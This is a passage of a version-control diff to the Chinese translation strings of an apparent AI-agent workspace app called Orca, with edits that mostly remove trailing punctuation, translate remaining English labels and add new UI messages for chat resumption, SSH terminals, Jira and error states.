-        "finished": "Orca 关闭时这些聊天正在工作。Orca 已将每个聊天恢复到停止的位置并保留完整上下文，并让智能体在继续之前先检查它之前在做什么。你自己的提示没有被重新发送。",
-        "finishedUpdate": "Orca 安装更新时这些聊天正在工作。Orca 已将每个聊天恢复到停止的位置并保留完整上下文，并让智能体在继续之前先检查它之前在做什么。你自己的提示没有被重新发送。",
-        "finishedPartial": "Orca 关闭时这些聊天正在工作。Orca 恢复的聊天已回到停止的位置并保留完整上下文，并被要求在继续之前先检查之前在做什么。你自己的提示没有被重新发送。请在列表中查看仍需处理或可以恢复的聊天。",
-        "finishedPartialUpdate": "Orca 安装更新时这些聊天正在工作。Orca 恢复的聊天已回到停止的位置并保留完整上下文，并被要求在继续之前先检查之前在做什么。你自己的提示没有被重新发送。请在列表中查看仍需处理或可以恢复的聊天。",
+        "description": "每个聊天都会带着完整上下文恢复，并被要求检查它停在了哪里，你可以关闭此窗口，状态栏会继续显示进度",
+        "finished": "Orca 关闭时这些聊天正在工作，Orca 已将每个聊天恢复到停止的位置并保留完整上下文，并让代理在继续之前先检查它之前在做什么，你自己的提示没有被重新发送",
+        "finishedUpdate": "Orca 安装更新时这些聊天正在工作，Orca 已将每个聊天恢复到停止的位置并保留完整上下文，并让代理在继续之前先检查它之前在做什么，你自己的提示没有被重新发送",
+        "finishedPartial": "Orca 关闭时这些聊天正在工作，Orca 恢复的聊天已回到停止的位置并保留完整上下文，并被要求在继续之前先检查之前在做什么，你自己的提示没有被重新发送，请在列表中查看仍需处理或可以恢复的聊天",
+        "finishedPartialUpdate": "Orca 安装更新时这些聊天正在工作，Orca 恢复的聊天已回到停止的位置并保留完整上下文，并被要求在继续之前先检查之前在做什么，你自己的提示没有被重新发送，请在列表中查看仍需处理或可以恢复的聊天",
         "resumedOfTotal_other": "已恢复 {{resumed}}/{{count}} 个聊天",
         "resumingCount_other": "正在恢复 {{count}} 个聊天"
       },
@@ -18171,49 +18529,49 @@
         "filter": "显示聊天"
       },
       "NativeChatResumeAutoNote": {
-        "resuming": "重启后正在自动恢复。",
-        "resumed": "重启后已自动恢复。",
+        "resuming": "重启后正在自动恢复",
+        "resumed": "重启后已自动恢复",
         "changeInSettings": "在设置中更改"
       },
       "TaskPageJiraSavedFilters": {
-        "6c381858a1": "Saved filters",
-        "d14121662d": "尚无已保存的筛选器。",
-        "af0dd8c528": "Edit {{value0}}",
-        "bae9bd87bf": "最多可保存 {{value0}} 个筛选器。",
-        "85506127a5": "Save current filter",
-        "7aef259c28": "Edit Jira filter",
-        "4f0e55d2e5": "Save Jira filter",
-        "466c1b12ce": "为该 JQL 查询命名以便快速访问。",
-        "e4c2f52972": "Name",
-        "0ab71bb840": "已存在同名的已保存筛选器。",
+        "6c381858a1": "已保存的筛选器",
+        "d14121662d": "尚无已保存的筛选器",
+        "af0dd8c528": "编辑 {{value0}}",
+        "bae9bd87bf": "最多可保存 {{value0}} 个筛选器",
+        "85506127a5": "保存当前筛选器",
+        "7aef259c28": "编辑 Jira 筛选器",
+        "4f0e55d2e5": "保存 Jira 筛选器",
+        "466c1b12ce": "为此 JQL 查询命名，以便快速访问",
+        "e4c2f52972": "名称",
+        "0ab71bb840": "已存在同名的已保存筛选器",
         "42ce360813": "JQL",
-        "7b21c59a26": "Delete filter",
-        "a62f9db53d": "Cancel",
-        "c77189bc0c": "Update filter",
-        "19af906d12": "Save filter"
+        "7b21c59a26": "删除筛选器",
+        "a62f9db53d": "取消",
+        "c77189bc0c": "更新筛选器",
+        "19af906d12": "保存筛选器"
       },
       "OrcaSignInProgress": {
         "waiting": "正在等待在浏览器中登录",
         "copyLink": "复制登录链接",
         "copied": "已复制登录链接",
-        "copyFailed": "无法复制链接。",
+        "copyFailed": "无法复制链接",
         "signingIn": "正在登录…",
         "cancel": "取消"
       },
       "plainSshTerminal": {
         "open": "打开普通 SSH 终端",
-        "unmanaged": "普通 SSH — 非托管。这不是 Orca 工作区：此处的智能体和标签页不会被跟踪，且此终端不会恢复。关闭它会结束 SSH 会话。",
-        "ended": "ssh 已以代码 {{code}} 退出。阅读完毕后请关闭此窗口。",
+        "unmanaged": "普通 SSH — 非托管。这不是 Orca 工作区：此处的智能体和标签页不会被跟踪，且此终端不会恢复。关闭它会结束 SSH 会话",
+        "ended": "ssh 已以代码 {{code}} 退出。阅读完毕后请关闭此窗口",
         "title": "普通 SSH · {{host}}",
         "minimize": "最小化",
         "close": "关闭并结束会话",
-        "unknownTarget": "此 SSH 主机已不再保存在 Orca 中。",
-        "notBlocked": "Orca 现在可以再次连接到此主机，请改用其终端。仅在 Orca 无法在该主机上完成设置时使用普通 SSH。",
-        "alreadyOpen": "另一个 Orca 窗口已打开到此主机的普通 SSH 终端。",
-        "endedBySignal": "ssh 已停止（信号 {{signal}}）。阅读完毕后请关闭此窗口。",
-        "cancelled": "此普通 SSH 终端在启动前已关闭。",
-        "terminalUnavailable": "Orca 无法在此处打开终端。",
-        "openHint": "在 Orca 无法在该主机上完成设置时，仍可让你继续在主机上工作。"
+        "unknownTarget": "此 SSH 主机已不再保存在 Orca 中",
+        "notBlocked": "Orca 现在可以再次连接到此主机，请改用其终端。仅在 Orca 无法在该主机上完成设置时使用普通 SSH",
+        "alreadyOpen": "另一个 Orca 窗口已打开到此主机的普通 SSH 终端",
+        "endedBySignal": "ssh 已停止（信号 {{signal}}）。阅读完毕后请关闭此窗口",
+        "cancelled": "此普通 SSH 终端在启动前已关闭",
+        "terminalUnavailable": "Orca 无法在此处打开终端",
+        "openHint": "在 Orca 无法在该主机上完成设置时，仍可让你继续在主机上工作"
       },
       "AgentStateDot": {
         "working": "工作中",
@@ -18257,34 +18615,34 @@
         "checksPassingOfTotal_other": "{{count}} 项检查中有 {{passing}} 项通过"
       },
       "taskPageJiraBoard": {
-        "changeStatusFailed": "更改状态失败。"
+        "changeStatusFailed": "更改状态失败"
       },
       "jiraIssue": {
-        "loadStatusChangesFailed": "加载状态变更失败。",
-        "loadCommentsFailed": "加载评论失败。"
+        "loadStatusChangesFailed": "加载状态变更失败",
+        "loadCommentsFailed": "加载评论失败"
       },
       "taskPageJiraLinkedIssues": {
-        "someIssuesFailed": "无法加载部分与工作区关联的 Jira 议题。请刷新重试。"
+        "someIssuesFailed": "无法加载部分与工作区关联的 Jira 议题。请刷新重试"
       },
       "taskPageJiraLoadState": {
-        "failedToLoadIssues": "加载 Jira 议题失败。",
-        "authFailed": "Jira 认证失败。请在设置中重新连接 Jira 后重试。",
-        "accessDenied": "Jira 拒绝了此次议题搜索的访问。请检查项目权限或尝试其他 JQL 查询。",
-        "rateLimited": "此次议题搜索触发了 Jira 速率限制。请稍后重试。",
-        "serverError": "加载议题时 Jira 出现服务器错误。请稍后重试。",
-        "jqlFailed": "Jira 无法执行此 JQL 查询。请检查语法后重试。",
-        "unreachable": "无法连接 Jira。请检查连接后重试。",
-        "loadFailed": "无法加载 Jira 议题。请稍后重试。",
+        "failedToLoadIssues": "加载 Jira 议题失败",
+        "authFailed": "Jira 认证失败。请在设置中重新连接 Jira 后重试",
+        "accessDenied": "Jira 拒绝了此次议题搜索的访问。请检查项目权限或尝试其他 JQL 查询",
+        "rateLimited": "此次议题搜索触发了 Jira 速率限制。请稍后重试",
+        "serverError": "加载议题时 Jira 出现服务器错误。请稍后重试",
+        "jqlFailed": "Jira 无法执行此 JQL 查询。请检查语法后重试",
+        "unreachable": "无法连接 Jira。请检查连接后重试",
+        "loadFailed": "无法加载 Jira 议题。请稍后重试",
         "errorWithCode": "错误 {{code}}：{{summary}}"
       },
       "cmdJ": {
         "quickActionUnavailable": {
-          "workspaceLoading": "无法运行“{{action}}” — 工作区仍在加载中。",
-          "noActiveWorkspace": "无法运行“{{action}}” — 没有活动的工作区。",
-          "workspaceDisconnected": "无法运行“{{action}}” — 工作区已断开连接。",
-          "noTabGroup": "无法运行“{{action}}” — 没有可用的标签页组。",
-          "noMovableChat": "无法运行“{{action}}” — 没有活动且可移动的聊天。",
-          "clientUnsupported": "无法运行“{{action}}” — 此客户端和运行时不支持该操作。"
+          "workspaceLoading": "无法运行“{{action}}” — 工作区仍在加载中",
+          "noActiveWorkspace": "无法运行“{{action}}” — 没有活动的工作区",
+          "workspaceDisconnected": "无法运行“{{action}}” — 工作区已断开连接",
+          "noTabGroup": "无法运行“{{action}}” — 没有可用的标签页组",
+          "noMovableChat": "无法运行“{{action}}” — 没有活动且可移动的聊天",
+          "clientUnsupported": "无法运行“{{action}}” — 此客户端和运行时不支持该操作"
         }
       },
       "plugins": {
@@ -18308,17 +18666,21 @@
         }
       },
       "agent-workspace-trust-decision": {
-        "prompt-title": "为智能体信任 {{repo}}？",
-        "prompt-description": "Claude Code 和 Codex 等智能体在加载项目自带的智能体设置和钩子（可以运行命令）之前，会询问“Do you trust this folder?”。Orca 可以在此仓库的每个工作树中替你回答“是”。",
-        "prompt-remembered": "Orca 会记住你对此仓库的回答。你可以在仓库设置中更改。",
         "trust-repository": "信任仓库",
         "let-agents-ask": "让智能体询问",
         "setting-title": "智能体文件夹信任",
         "setting-description": "Orca 在此仓库的工作树中启动的智能体是否跳过“Do you trust this folder?”提示，并立即加载项目的智能体设置和钩子。",
-        "setting-undecided": "尚未决定。下次你在这里启动智能体时，Orca 会询问。",
         "setting-global-off": "已在智能体设置中关闭文件夹信任，因此智能体总会询问。",
         "keyword-trust": "信任",
         "keyword-hooks": "钩子"
+      },
+      "task-page": {
+        "checksPill": {
+          "pipelinePassed": "流水线已通过",
+          "pipelineFailed": "流水线失败",
+          "pipelinePending": "流水线等待中",
+          "pipelineUnresolved": "流水线未解决"
+        }
       }
     },
     "i18n": {
@@ -18337,36 +18699,46 @@
     },
     "runtime": {
       "remoteServerUpdateErrors": {
-        "manualRequired": "此服务器必须通过其服务管理器手动更新。",
-        "notAvailable": "服务器不再报告有可用更新。请再次检查。",
-        "notDownloaded": "服务器更新尚未下载完成。",
-        "legacyServer": "请手动更新此服务器一次，以启用远程更新。",
-        "updaterTimeout": "等待服务器更新器超时。",
-        "requestedVersionUnavailable": "服务器更新器未提供所请求的 Orca 版本。",
-        "updateUnavailable": "服务器未报告有可用更新。",
-        "downloadIncomplete": "服务器更新未完成下载。",
-        "reconnectTimeout": "服务器未以更新后的版本重新连接。"
+        "manualRequired": "此服务器必须通过其服务管理器手动更新",
+        "notAvailable": "服务器不再报告有可用更新，请再次检查",
+        "notDownloaded": "服务器更新尚未下载完成",
+        "legacyServer": "请手动更新此服务器一次，以启用远程更新",
+        "updaterTimeout": "等待服务器更新器超时",
+        "requestedVersionUnavailable": "服务器更新器未提供所请求的 Orca 版本",
+        "updateUnavailable": "服务器未报告有可用更新",
+        "downloadIncomplete": "服务器更新未完成下载",
+        "reconnectTimeout": "服务器未以更新后的版本重新连接"
       },
       "webRuntimeSession": {
-        "remoteHostDisconnected": "工作区未连接到远程 Orca 主机。",
-        "splitSourceUnpublished": "窗格未拆分：其终端尚未在主机上启动。",
-        "terminalCreateUnconfirmed": "Orca 无法确认新终端是否在主机上打开。"
+        "remoteHostDisconnected": "工作区未连接到远程 Orca 主机",
+        "splitSourceUnpublished": "窗格未拆分：其终端尚未在主机上启动",
+        "terminalCreateUnconfirmed": "Orca 无法确认新终端已在主机上打开"
       },
       "gitlabJobTraceClient": {
-        "loadFailed": "加载 GitLab 作业日志失败。",
-        "emptyTrace": "此 GitLab 作业没有可用的日志。",
-        "timedOut": "加载 GitLab 作业日志超时。"
+        "loadFailed": "加载 GitLab 作业日志失败",
+        "emptyTrace": "此 GitLab 作业没有可用的日志",
+        "timedOut": "加载 GitLab 作业日志超时"
       },
       "githubCheckDetailsTimeout": {
-        "timedOut": "加载检查详细信息超时。"
+        "timedOut": "加载检查详细信息超时"
       },
       "gitlabIpcTimeout": {
-        "timedOut": "与 GitLab 对话超时。"
+        "timedOut": "与 GitLab 通信超时"
       },
       "forgeCredentialTarget": {
-        "unknownHost": "拥有此仓库的计算机尚不清楚。请重新连接它并重试。",
+        "unknownHost": "拥有此存储库的计算机尚不清楚，请重新连接它并重试",
         "thisComputer": "此计算机"
       },
+      "remoteTerminal": {
+        "connectionClosed": "远程运行时连接已关闭",
+        "streamClosed": "远程终端流已关闭",
+        "streamEnded": "远程终端流已结束",
+        "streamStopped": "远程终端流已停止响应"
+      },
+      "jira": {
+        "currentSprintNeedsUpdate": "请更新远程 Orca 服务器以按当前冲刺筛选预设议题",
+        "transitionFieldsNeedsUpdate": "请更新远程 Orca 服务器以提交必填的流转字段，或在 Jira 中完成流转"
+      },
       "runtimeGitSyncClient": {
         "completeMergeNeedsNewerHost": "完成合并需要此主机上安装更新版本的 Orca。请更新该主机上的 Orca。"
       },
@@ -18398,7 +18770,7 @@
           "bold": "粗体",
           "italic": "斜体",
           "strike": "删除线",
-          "inlineCode": "内联代码",
+          "inlineCode": "行内代码",
           "codeBlock": "代码块",
           "quote": "引用",
           "paragraph": "段落",
@@ -18408,16 +18780,23 @@
           "heading3": "标题 3",
           "heading4": "标题 4",
           "heading5": "标题 5",
-          "bulletList": "项目符号列表",
-          "numberedList": "编号列表",
-          "checklist": "清单",
+          "bulletList": "无序列表",
+          "numberedList": "有序列表",
+          "checklist": "检查清单",
           "insert": "插入",
           "link": "链接",
-          "image": "图像",
+          "image": "图片",
           "divider": "分隔线",
           "paste": "粘贴",
           "pasteAsPlainText": "粘贴为纯文本",
           "addToDictionary": "添加到词典"
+        },
+        "dashboard": {
+          "popout": {
+            "window": {
+              "title": "Orca 代理仪表板"
+            }
+          }
         }
       },
       "ipc": {
@@ -18426,7 +18805,7 @@
             "send": "发送",
             "cancel": "取消",
             "title": "要将此文件发送给支持团队吗？",
-            "message": "这将上传你已查看过的、经过脱敏处理的应用诊断文件。",
+            "message": "这将上传你已查看过的、经过脱敏处理的应用诊断文件",
             "detail": "诊断 ID：{{id}}\n诊断记录：{{records}}\n大小：{{sizeKb}} KB"
           }
         }
@@ -18435,7 +18814,7 @@
     "startup": {
       "webHostUnreachable": {
         "title": "无法连接到你的 Orca 主机",
-        "description": "没有任何内容丢失。主机响应后 Orca 会重新加载，在此之前不会保存更改。",
+        "description": "没有任何内容丢失，主机响应后 Orca 会重新加载，在此之前不会保存更改",
         "retry": "立即重试"
       },
       "webPairingRefused": {
@@ -18456,205 +18835,205 @@
         "copyOrcaSessionId": "复制 Orca 会话 ID",
         "orcaSessionIdCopied": "已复制 Orca 会话 ID",
         "orcaSessionIdCopyFailed": "无法复制 Orca 会话 ID",
-        "orcaSessionIdTooltip": "Orca 为此聊天分配的 ID，独立于智能体 CLI 自身的会话 ID。智能体通过 Orca 用它来相互指代。"
+        "orcaSessionIdTooltip": "Orca 为此聊天分配的 ID，独立于智能体 CLI 自身的会话 ID，智能体通过 Orca 用它来相互指代"
       },
       "failureWords": {
         "theAgent": "智能体",
-        "providerStartFailed": "{{agent}} 在完成启动前已停止。",
+        "providerStartFailed": "{{agent}} 在完成启动前已停止",
         "savedConversationMissing": "{{agent}} 找不到此聊天已保存的对话。",
-        "runCommandAgain": "请重新运行 /{{command}}。",
-        "sendToTryAgain": "请发送您的消息以重试。",
-        "sendAgainToTryOnceMore": "请重新发送您的消息，再试一次。",
-        "couldNotStart": "{{agent}} 无法启动。",
-        "editSavedArguments": "请在设置 > 智能体 > 参数中编辑。",
-        "couldNotRestart": "{{agent}} 无法重新启动。",
-        "cliTooOld": "{{agent}} {{installedVersion}} 版本过旧，无法用于聊天。请更新到 {{minimumVersion}} 或更高版本。",
-        "startTimedOut": "{{agent}} 启动时间过长（{{seconds}} 秒后 {{method}} 仍无响应）。",
-        "startTimedOutKeepsHappening": "如果此问题持续出现，运行此聊天的计算机可能负载过重。",
-        "notSignedIn": "{{agent}} 尚未登录。",
-        "claudeSystemNotSignedIn": "Claude 尚未登录。请运行 `{{loginCommand}}`，或在 Claude 账户设置中选择账户。",
-        "claudeManagedNotSignedIn": "此 Claude 账户尚未登录。请在 Claude 账户设置中重新登录。",
-        "codexSystemNotSignedIn": "Codex 尚未登录。请运行 `{{loginCommand}}`。",
-        "codexManagedNotSignedIn": "此 Codex 账户尚未登录。请在 Codex 账户设置中重新登录。",
-        "antigravityNotSignedIn": "尚未登录 Antigravity。请在设置 → 账户 → Antigravity中登录，然后重新发送消息。",
-        "cliMissing": "在运行此聊天的计算机上找不到 {{agent}}。请安装它，或检查设置 → 智能体中的命令。",
-        "cliMissingInWslDistro": "WSL 发行版 {{distro}} 中未安装 {{agent}}。请在 {{distro}} 中安装它，或检查设置 → 智能体中的命令。",
-        "signInFirst": "请先登录。",
-        "signInThenRunCommand": "请登录，然后重新运行 /{{command}}。",
-        "signInThenSend": "请登录，然后重新发送您的消息。",
-        "historyTooLarge": "此对话的历史记录过大，无法在此恢复。",
-        "managedAccountEnvOverride": "此次 Claude 启动设置了自己的 Anthropic 登录变量。请移除这些变量以使用受管理的 Claude 账户。",
-        "accountSwitchInProgress": "正在此主机上更改 {{agent}} 的设置。请在完成后重试。",
-        "managedAccountUnsupported": "当 WSL 中添加了 Claude 账户时，Claude 聊天需要 Windows Claude 账户。",
-        "launchFolderMissing": "此聊天运行所在的文件夹已不存在。请恢复该文件夹以继续此聊天。",
-        "historyInOtherAccount": "此聊天的历史记录位于另一个 Claude 账户中。请切换回该账户以继续此聊天。",
-        "claudeAccountFolderMissing": "所选 Claude 账户的文件夹不存在。请重新登录该账户或选择其他账户。",
-        "claudeAccountSetupFailed": "无法设置所选 Claude 账户。请重试或选择其他账户。",
-        "agentCommandNotRunnable": "设置 → 智能体中{{agent}}的“命令”必须以 Orca 能找到的程序开头。不支持变量、管道或其他 shell 语法；请在“环境”设置中配置变量。请修改或重置命令。",
-        "runtimeNotInstalled": "运行此聊天的计算机上未安装 {{agent}}。请在最新版本的 Orca 中从聊天里安装。",
-        "fullAccessAsRoot": "{{agent}} 以 root 身份运行时不会使用完全访问。请在运行此聊天的计算机的“设置”→“智能体”中为 {{agent}} 选择其他权限，然后开始新的聊天。",
-        "launchPreparationFailed": "Orca 无法在运行此聊天的计算机上准备启动 {{agent}}。",
-        "conversationOpenElsewhere": "Codex 仍在保持此对话打开。请稍后重试，或关闭其他 Codex 终端。",
-        "conversationOpenInTerminal": "{{agent}} 已在另一个终端中运行此对话。请退出那里的 {{agent}} 或关闭该终端，然后在这里继续。",
-        "chooseClaudeAccount": "请在 Claude 账户设置中选择或添加一个。",
-        "chooseClaudeAccountThenRunCommand": "请在 Claude 账户设置中选择或添加一个，然后重新运行 /{{command}}。",
-        "chooseClaudeAccountThenSend": "请在 Claude 账户设置中选择或添加一个，然后重新发送您的消息。",
-        "providerExitedRow": "{{agent}} 在生成此回复时停止了。您可以在此对话中继续。",
-        "providerExitedRejection": "{{agent}} 在发送此消息前已停止。",
-        "providerExitedAnswer": "{{agent}} 已停止，因此您的回答未发送。发送消息以继续。",
-        "modelUnavailable": "{{agent}} 无法使用 {{detail}}。请选择其他模型并重新发送。",
+        "runCommandAgain": "请重新运行 /{{command}}",
+        "sendToTryAgain": "请发送您的消息以重试",
+        "sendAgainToTryOnceMore": "请重新发送您的消息，再试一次",
+        "couldNotStart": "{{agent}} 无法启动",
+        "editSavedArguments": "请在设置 > 代理 > 参数中编辑",
+        "couldNotRestart": "{{agent}} 无法重新启动",
+        "cliTooOld": "{{agent}} {{installedVersion}} 版本过旧，无法用于聊天。请更新到 {{minimumVersion}} 或更高版本",
+        "startTimedOut": "{{agent}} 启动时间过长（{{seconds}} 秒后 {{method}} 仍无响应）",
+        "startTimedOutKeepsHappening": "如果此问题持续出现，运行此聊天的计算机可能负载过重",
+        "notSignedIn": "{{agent}} 尚未登录",
+        "claudeSystemNotSignedIn": "Claude 尚未登录，请运行 `{{loginCommand}}`，或在 Claude 账户设置中选择账户",
+        "claudeManagedNotSignedIn": "此 Claude 账户尚未登录，请在 Claude 账户设置中重新登录",
+        "codexSystemNotSignedIn": "Codex 尚未登录，请运行 `{{loginCommand}}`",
+        "codexManagedNotSignedIn": "此 Codex 账户尚未登录，请在 Codex 账户设置中重新登录",
+        "antigravityNotSignedIn": "尚未登录 Antigravity，请在设置 → 账户 → Antigravity中登录，然后重新发送消息",
+        "cliMissing": "在运行此聊天的计算机上找不到 {{agent}}，请安装它，或检查设置 → 代理中的命令",
+        "cliMissingInWslDistro": "WSL 发行版 {{distro}} 中未安装 {{agent}}。请在 {{distro}} 中安装它，或检查设置 → 智能体中的命令",
+        "signInFirst": "请先登录",
+        "signInThenRunCommand": "请登录，然后重新运行 /{{command}}",
+        "signInThenSend": "请登录，然后重新发送您的消息",
+        "historyTooLarge": "此对话的历史记录过大，无法在此恢复",
+        "managedAccountEnvOverride": "此次 Claude 启动设置了自己的 Anthropic 登录变量，请移除这些变量以使用受管理的 Claude 账户",
+        "accountSwitchInProgress": "正在此主机上更改 {{agent}} 的设置，请在完成后重试",
+        "managedAccountUnsupported": "当 WSL 中添加了 Claude 账户时，Claude 聊天需要 Windows Claude 账户",
+        "launchFolderMissing": "此聊天运行所在的文件夹已不存在，请恢复该文件夹以继续此聊天",
+        "historyInOtherAccount": "此聊天的历史记录位于另一个 Claude 账户中，请切换回该账户以继续此聊天",
+        "claudeAccountFolderMissing": "所选 Claude 账户的文件夹不存在，请重新登录该账户或选择其他账户",
+        "claudeAccountSetupFailed": "无法设置所选 Claude 账户，请重试或选择其他账户",
+        "agentCommandNotRunnable": "设置 → 智能体中{{agent}}的“命令”必须以 Orca 能找到的程序开头。不支持变量、管道或其他 shell 语法；请在“环境”设置中配置变量。请修改或重置命令",
+        "runtimeNotInstalled": "运行此聊天的计算机上未安装 {{agent}}，请在最新版本的 Orca 中从聊天里安装",
+        "fullAccessAsRoot": "{{agent}} 以 root 身份运行时不会使用完全访问。请在运行此聊天的计算机的“设置”→“智能体”中为 {{agent}} 选择其他权限，然后开始新的聊天",
+        "launchPreparationFailed": "Orca 无法在运行此聊天的计算机上准备启动 {{agent}}",
+        "conversationOpenElsewhere": "Codex 仍在保持此对话打开。请稍后重试，或关闭其他 Codex 终端",
+        "conversationOpenInTerminal": "{{agent}} 已在另一个终端中运行此对话。请退出那里的 {{agent}} 或关闭该终端，然后在这里继续",
+        "chooseClaudeAccount": "请在 Claude 账户设置中选择或添加一个",
+        "chooseClaudeAccountThenRunCommand": "请在 Claude 账户设置中选择或添加一个，然后重新运行 /{{command}}",
+        "chooseClaudeAccountThenSend": "请在 Claude 账户设置中选择或添加一个，然后重新发送您的消息",
+        "providerExitedRow": "{{agent}} 在生成此回复时停止了，您可以在此对话中继续",
+        "providerExitedRejection": "{{agent}} 在发送此消息前已停止",
+        "providerExitedAnswer": "{{agent}} 已停止，因此您的回答未发送，发送消息以继续",
+        "modelUnavailable": "{{agent}} 无法使用 {{detail}}。请选择其他模型并重新发送",
         "modelUnavailableUpdate": "{{agent}} 无法使用 {{detail}}。请将 {{agent}} 更新到 {{minimumVersion}} 或更高版本，以便重启后继续使用；或者选择其他模型并重新发送。",
         "modelNotSelected": "{{agent}} 没有选择模型。请检查模型选择和 {{agent}} 登录状态，然后重新发送。",
-        "providerUnavailable": "{{agent}} 因服务繁忙而无法回复。请选择其他模型，或稍等片刻后重新发送。",
-        "providerSafetyStopped": "{{agent}} 在安全检查后停止了此次回复。请检查您的请求后重新发送。",
-        "providerResponseFailed": "{{agent}} 未能完成此回复。打开详情了解更多信息。",
-        "selectedModel": "所选模型",
-        "providerRejected": "{{agent}} 未接受此消息。",
-        "providerRejectedQuoted": "{{agent}} 未接受此消息：{{detail}}。",
-        "attachmentEmpty": "此消息中的一张图片为空，因此消息未发送。",
-        "attachmentTooLarge": "此消息中的一张图片过大，因此消息未发送。",
-        "attachmentLargerThan": "此消息中的一张图片超过 {{size}} MB，因此消息未发送。",
-        "attachmentTooMany": "此消息包含的图片过多，因此未发送。",
-        "attachmentAtMost": "{{agent}} 每条消息最多接受 {{limit}} 张图片，因此此消息未发送。",
-        "attachmentTotalTooLarge": "此消息中的图片总大小过大，因此消息未发送。",
-        "attachmentTotalMoreThan": "此消息中的图片总计超过 {{size}} MB，因此消息未发送。",
-        "attachmentUnsupportedType": "{{agent}} 仅接受 PNG、JPEG、GIF 和 WebP 图片，因此此消息未发送。",
-        "attachmentNotAFile": "此消息中的一张图片不是文件，因此消息未发送。",
-        "attachmentNoSource": "此消息中的一张图片没有可发送的文件，因此消息未发送。",
-        "attachmentInvalid": "此消息中的附件无法发送给智能体。",
+        "providerRejected": "{{agent}} 未接受此消息",
+        "providerRejectedQuoted": "{{agent}} 未接受此消息：{{detail}}",
+        "attachmentEmpty": "此消息中的一张图片为空，因此消息未发送",
+        "attachmentTooLarge": "此消息中的一张图片过大，因此消息未发送",
+        "attachmentLargerThan": "此消息中的一张图片超过 {{size}} MB，因此消息未发送",
+        "attachmentTooMany": "此消息包含的图片过多，因此未发送",
+        "attachmentAtMost": "{{agent}} 每条消息最多接受 {{limit}} 张图片，因此此消息未发送",
+        "attachmentTotalTooLarge": "此消息中的图片总大小过大，因此消息未发送",
+        "attachmentTotalMoreThan": "此消息中的图片总计超过 {{size}} MB，因此消息未发送",
+        "attachmentUnsupportedType": "{{agent}} 仅接受 PNG、JPEG、GIF 和 WebP 图片，因此此消息未发送",
+        "attachmentNotAFile": "此消息中的一张图片不是文件，因此消息未发送",
+        "attachmentNoSource": "此消息中的一张图片没有可发送的文件，因此消息未发送",
+        "attachmentInvalid": "此消息中的附件无法发送给智能体",
         "attachmentsExpired": "{{names}} 已过期。",
-        "attachmentUnreadable": "无法读取此消息中的附件，因此消息未发送。",
-        "emptyMessage": "此消息为空，因此未发送。",
-        "commandUnavailable": "此命令在 {{agent}} 聊天中不可用，因此未发送。",
-        "queueFull": "等待智能体处理的消息过多，因此此消息未发送。",
-        "writeFailed": "Orca 无法将此消息交给智能体，因此消息未发送。",
-        "cancelled": "此消息在智能体开始处理前已撤回。",
-        "chatClosed": "此消息发送前聊天已关闭。",
-        "hostRestarted": "此消息发送前 Orca 已重新启动。",
-        "notDelivered": "此消息未送达。",
-        "notDeliveredSendAgain": "此消息未送达。请重新发送以继续。",
-        "commandRefused": "此命令未运行。",
-        "commandRefusedTryAgain": "此命令未运行。请重试。",
-        "compactionFailed": "压缩失败。",
-        "compactionFailedQuoted": "压缩失败：{{detail}}。",
-        "compactionUnconfirmed": "未确认压缩是否完成。",
-        "cancelUnconfirmed": "未确认取消。",
-        "backgroundTaskNotStopped": "后台任务未停止。",
-        "backgroundTasksNotStopped": "后台任务未停止。",
-        "stopRefused": "{{agent}} 未停止。",
-        "stopRefusedQuoted": "{{agent}} 未停止：{{detail}}。",
-        "couldNotStop": "无法停止 {{agent}}。",
-        "couldNotStopTheAgent": "无法停止智能体。",
-        "noTurnToStop": "{{agent}} 没有正在运行的轮次可停止。",
-        "answerUnconfirmed": "您的回答已记录，但智能体未确认。",
-        "argumentsMissingValue": "已保存的参数需要为 {{option}} 指定一个值。",
-        "argumentsMultipleValues": "已保存的参数为 {{option}} 指定了多个值。",
-        "argumentsPositionalPrompt": "已保存的参数中包含提示词。",
-        "argumentsUnsupportedOption": "已保存的参数包含不支持的选项（{{option}}）。",
-        "hostFault": "Orca 遇到问题，因此此操作未完成。",
-        "hostFaultTryAgain": "Orca 遇到问题，因此此操作未完成。请重试。",
-        "hostStopped": "{{agent}} 始终未完成启动，因此 Orca 已将其停止。",
-        "providerRateLimited": "{{agent}} 已被限流，正在重试。",
-        "providerRetrying": "{{agent}} 遇到临时问题，正在重试。",
-        "providerRetryingQuoted": "{{agent}} 正在重试：{{detail}}。",
-        "providerRetryNumber": "第 {{attempt}} 次重试。",
-        "providerRetryNumberOf": "第 {{attempt}} 次重试，共 {{maxRetries}} 次。",
-        "providerRetryLastError": "上次错误：{{detail}}。",
-        "usageLimitReached": "{{agent}} 已达到使用上限。",
-        "usageLimitReachedNamed": "{{agent}} 已达到{{window}}上限。",
+        "attachmentUnreadable": "无法读取此消息中的附件，因此消息未发送",
+        "emptyMessage": "此消息为空，因此未发送",
+        "commandUnavailable": "此命令在 {{agent}} 聊天中不可用，因此未发送",
+        "queueFull": "等待智能体处理的消息过多，因此此消息未发送",
+        "writeFailed": "Orca 无法将此消息交给智能体，因此消息未发送",
+        "cancelled": "此消息在智能体开始处理前已撤回",
+        "chatClosed": "此消息发送前聊天已关闭",
+        "hostRestarted": "此消息发送前 Orca 已重新启动",
+        "notDelivered": "此消息未送达",
+        "notDeliveredSendAgain": "此消息未送达，请重新发送以继续",
+        "commandRefused": "此命令未运行",
+        "commandRefusedTryAgain": "此命令未运行，请重试",
+        "compactionFailed": "压缩失败",
+        "compactionFailedQuoted": "压缩失败：{{detail}}",
+        "compactionUnconfirmed": "未确认压缩是否完成",
+        "cancelUnconfirmed": "未确认取消",
+        "backgroundTaskNotStopped": "后台任务未停止",
+        "backgroundTasksNotStopped": "后台任务未停止",
+        "stopRefused": "{{agent}} 未停止",
+        "stopRefusedQuoted": "{{agent}} 未停止：{{detail}}",
+        "couldNotStop": "无法停止 {{agent}}",
+        "couldNotStopTheAgent": "无法停止代理",
+        "noTurnToStop": "{{agent}} 没有正在运行的轮次可停止",
+        "answerUnconfirmed": "您的回答已记录，但智能体未确认",
+        "argumentsMissingValue": "已保存的参数需要为 {{option}} 指定一个值",
+        "argumentsMultipleValues": "已保存的参数为 {{option}} 指定了多个值",
+        "argumentsPositionalPrompt": "已保存的参数中包含提示词",
+        "argumentsUnsupportedOption": "已保存的参数包含不支持的选项（{{option}}）",
+        "hostFault": "Orca 遇到问题，因此此操作未完成",
+        "hostFaultTryAgain": "Orca 遇到问题，因此此操作未完成，请重试",
+        "hostStopped": "{{agent}} 始终未完成启动，因此 Orca 已将其停止",
+        "providerRateLimited": "{{agent}} 已被限流，正在重试",
